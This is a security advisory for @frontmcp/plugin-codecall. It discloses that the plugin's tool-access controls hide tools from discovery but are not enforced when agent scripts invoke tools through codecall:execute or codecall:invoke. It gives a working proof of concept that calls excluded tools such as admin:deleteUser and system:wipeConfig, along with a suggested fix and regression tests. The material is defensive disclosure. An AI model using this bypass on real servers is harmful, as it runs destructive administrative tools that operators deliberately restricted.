# GHSA-6W3J-82V5-6QRR: CodeCall execution bypasses documented tool access controls in @frontmcp/plugin-codecall

- Database: GitHub
- Severity: CVSS 9.8 (Critical)
- Published: 2026-09-26
- Modified: 2026-09-26

## Affected versions

- @frontmcp/plugin-codecall (npm): from 0.7.0, through 1.8.0

## Description

### Summary

`@frontmcp/plugin-codecall` does not enforce its documented tool-access restrictions when tools are actually invoked through `codecall:execute` or `codecall:invoke`.

The plugin documents multiple controls intended to restrict which tools CodeCall scripts can access:

- `includeTools`
- per-tool `enabledInCodeCall: false`
- `directCalls.allowedTools`
- default blocked patterns such as `system:*`, `internal:*`, and `__*`

These controls affect tool discovery, but the execution paths do not enforce them.

For example, the `codecall:execute` tool ultimately exposes a `callTool()` function whose security checks are effectively limited to the self-reference guard and an optional `allowedTools` value supplied by the same client request:

```ts
const { script, allowedTools } = input;

const allowedToolSet =
    allowedTools
        ? new Set(allowedTools)
        : null;

const environment = {
    callTool:
        async (
            name,
            toolInput,
            options
        ) => {
            assertNotSelfReference(
                name
            );

            if (
                allowedToolSet &&
                !allowedToolSet.has(
                    name
                )
            ) {
                // denied
            }

            return this.scope.runFlow(
                'tools:call-tool',
                {
                    request: {
                        method:
                            'tools/call',

                        params: {
                            name,
                            arguments:
                                toolInput
                        }
                    },

                    ctx: {
                        authInfo:
                            this.authInfo
                    }
                }
            );
        }
};
```

No execution-time check verifies `enabledInCodeCall`, `includeTools`, or the documented default blocked patterns.

`codecall:invoke` similarly invokes the requested tool without enforcing `directCalls.allowedTools`.

This was reproduced end-to-end over HTTP against released `@frontmcp/plugin-codecall@1.7.2` and `@frontmcp/sdk@1.7.2`.

Tools explicitly excluded by the documented controls executed successfully and produced server-side side effects.

### Details

The vulnerability is an authorization mismatch between discovery and execution.

For example, an operator can configure:

```ts
CodeCallPlugin.init({
    mode:
        'codecall_only',

    includeTools:
        (tool) =>
            !tool.name.startsWith(
                'admin:'
            ),

    directCalls: {
        enabled:
            true,

        allowedTools: [
            'users:list'
        ]
    }
})
```

and additionally mark a sensitive tool:

```ts
FrontMcpTool({
    name:
        'admin:deleteUser',

    codecall: {
        enabledInCodeCall:
            false
    }
})
```

The plugin correctly removes the tool from the CodeCall search index.

However, an AgentScript can still invoke it directly:

```js
const result =
    await callTool(
        'admin:deleteUser',
        {
            userId:
                '42'
        }
    );

return result;
```

The tool executes because the execution path does not re-evaluate the access policy.

The resulting flow is:

```text
operator excludes sensitive tool
  -> includeTools returns false
  -> enabledInCodeCall = false
  -> search index omits tool
  -> client calls codecall:execute
  -> AgentScript calls excluded tool by name
  -> assertNotSelfReference passes
  -> no CodeCall access-policy check
  -> normal tools:call-tool flow executes target
  -> excluded tool runs server-side
```

The same issue affects the documented default blocked patterns.

A tool named:

```text
system:wipeConfig
```

can be executed through:

```js
await callTool(
    'system:wipeConfig',
    {}
);
```

even though `system:*` is documented as a default blocked pattern.

The direct invocation path is independently affected.

Given:

```ts
directCalls: {
    enabled:
        true,

    allowedTools: [
        'users:list'
    ]
}
```

a client can still request:

```text
codecall:invoke
tool = admin:deleteUser
```

and the excluded tool executes.

The existing self-reference guard demonstrates that there is already an execution-time enforcement point.

Calls such as:

```text
codecall:execute
    -> callTool("codecall:execute")
```

are correctly blocked.

The missing checks therefore affect specifically the documented CodeCall tool-access policy rather than execution security generally.

The repository also contains a `ToolAccessControlService` implementing additional policy logic, including default blocked patterns, but the affected released execution paths do not invoke it.

### PoC

Run a FrontMCP server with three tools:

```text
users:list
admin:deleteUser
system:wipeConfig
```

Configure CodeCall so that:

```text
users:list
    = allowed

admin:deleteUser
    = enabledInCodeCall:false
    = excluded by includeTools

system:wipeConfig
    = matches documented system:* block

directCalls.allowedTools
    = ["users:list"]
```

For example:

```js
const app =
    frontMcpApp({
        id:
            'codecall-poc',

        name:
            'CodeCall PoC',

        tools: [
            UsersListTool,
            AdminDeleteUserTool,
            SystemWipeTool
        ],

        plugins: [
            CodeCallPlugin.init({
                mode:
                    'codecall_only',

                vm: {
                    preset:
                        'secure'
                },

                embedding: {
                    strategy:
                        'tfidf'
                },

                includeTools:
                    (tool) =>
                        !tool.name.startsWith(
                            'admin:'
                        ),

                directCalls: {
                    enabled:
                        true,

                    allowedTools: [
                        'users:list'
                    ]
                }
            })
        ]
    });
```

The sensitive tool is registered as:

```js
FrontMcpTool({
    name:
        'admin:deleteUser',

    description:
        'Delete a user',

    inputSchema: {
        userId:
            z.string()
    },

    codecall: {
        enabledInCodeCall:
            false
    }
})(
    AdminDeleteUserTool
);
```

First query CodeCall discovery.

Observed:

```text
admin:deleteUser
    absent from search results
```

This confirms the exclusion configuration is active.

Now call `codecall:execute` with:

```js
const result =
    await callTool(
        'admin:deleteUser',
        {
            userId:
                '42'
        }
    );

return result;
```

Observed:

```json
{
  "status": "ok",
  "result": {
    "deleted": true,
    "userId": "42",
    "by": "admin:deleteUser"
  }
}
```

The server-side audit log confirmed:

```text
ADMIN deleteUser EXECUTED userId=42
```

Next invoke a tool matching the documented default blocked pattern:

```js
const result =
    await callTool(
        'system:wipeConfig',
        {}
    );

return result;
```

Observed:

```json
{
  "status": "ok",
  "result": {
    "wiped": true,
    "by": "system:wipeConfig"
  }
}
```

The server-side audit log confirmed execution.

Next test the direct-call allowlist.

The server is configured with:

```text
directCalls.allowedTools
    = ["users:list"]
```

but the client calls:

```json
{
  "name": "codecall:invoke",
  "arguments": {
    "tool": "admin:deleteUser",
    "input": {
      "userId": "99"
    }
  }
}
```

Observed:

```json
{
  "deleted": true,
  "userId": "99",
  "by": "admin:deleteUser"
}
```

Again the server-side audit log confirms the sensitive tool executed.

As positive controls:

```text
codecall:execute
    -> users:list
```

works normally, while:

```text
codecall:execute
    -> callTool("codecall:execute")
```

is rejected by the existing self-reference guard.

The complete reproduced behavior was:

```text
SEARCH
admin:deleteUser
-> hidden

ATTACK A
codecall:execute
-> admin:deleteUser
-> EXECUTED

ATTACK B
codecall:execute
-> system:wipeConfig
-> EXECUTED

ATTACK C
codecall:invoke
-> admin:deleteUser
-> EXECUTED

CONTROL
codecall:execute
-> users:list
-> EXECUTED normally

CONTROL
codecall:execute
-> codecall:execute
-> BLOCKED by SelfReferenceError
```

This demonstrates that the access restrictions are applied to discovery but not to the execution choke points they are intended to protect.

### Suggested fix

Enforce the CodeCall access policy immediately before every target tool invocation.

The safest approach is to use a single server-side authorization function shared by discovery, `codecall:execute`, `codecall:invoke`, and `codecall:describe`.

Conceptually:

```diff
 const environment = {
     callTool:
         async (
             name,
             toolInput,
             options
         ) => {

             assertNotSelfReference(
                 name
             );

+            const target =
+                this.scope.tools
+                    .getTools(true)
+                    .find(
+                        tool =>
+                            tool.name === name ||
+                            tool.fullName === name
+                    );
+
+            const access =
+                await toolAccessControl
+                    .checkAccess(
+                        target,
+                        this.authInfo
+                    );
+
+            if (!access.allowed) {
+                throw new Error(
+                    `Tool "${name}" is not available through CodeCall`
+                );
+            }
+
             return this.scope.runFlow(
                 'tools:call-tool',
                 ...
             );
         }
 };
```

The execution-time check should enforce at least:

```text
self-reference restrictions
default blocked patterns
enabledInCodeCall
includeTools
configured tool allow/deny rules
caller/session-specific policy
```

`codecall:invoke` must additionally enforce:

```text
directCalls.enabled
directCalls.allowedTools
directCalls.filter
```

before calling `tools:call-tool`.

For example:

```diff
 const {
     tool:
         toolName,
     input:
         toolInput
 } = input;

 assertNotSelfReference(
     toolName
 );

+if (
+    directCalls
+        ?.allowedTools &&
+    !directCalls
+        .allowedTools
+        .includes(
+            toolName
+        )
+) {
+    throw new Error(
+        `Tool "${toolName}" is not permitted for direct CodeCall invocation`
+    );
+}

 return this.scope.runFlow(
     'tools:call-tool',
     ...
 );
```

If the existing `ToolAccessControlService` is intended to provide this authorization layer, it should be wired into all execution paths rather than used only by tests or documentation.

Regression tests should verify that:

```text
enabledInCodeCall:false
    -> search hidden
    -> execute denied
    -> invoke denied
    -> describe denied

includeTools:false
    -> execute denied

system:*
internal:*
__*
    -> denied at execution

directCalls.allowedTools
    -> enforced by codecall:invoke

allowed tools
    -> continue to execute normally
```

Access control must be checked at execution time even if discovery filtering also exists. Hiding a tool from search cannot be treated as authorization.

### Impact

A client permitted to use CodeCall can invoke tools that the server operator explicitly configured as unavailable to CodeCall.

This bypasses multiple documented server-side security controls, including per-tool opt-out, global inclusion policies, direct-call allowlists, and default blocked namespaces.

The excluded target tool executes through FrontMCP's normal `tools:call-tool` flow with the caller's existing authentication context.

The practical impact therefore equals the authority of the excluded tools.

For sensitive tools this can include unauthorized access to confidential data, state-changing administrative actions, destructive operations, infrastructure modification, or other privileged functionality the operator deliberately removed from the CodeCall execution surface.

The issue is particularly significant because discovery filtering still works: excluded tools can disappear from normal CodeCall search results while remaining executable by name, causing the deployment to appear correctly restricted even though the authorization boundary is absent at execution time.

## References

- https://github.com/agentfront/frontmcp/security/advisories/GHSA-6w3j-82v5-6qrr

Page: https://cve.now/GHSA-6W3J-82V5-6QRR

Wrong or missing data? Send feedback: POST https://cve.now/api/v1/feedback (see https://cve.now/agents#feedback).
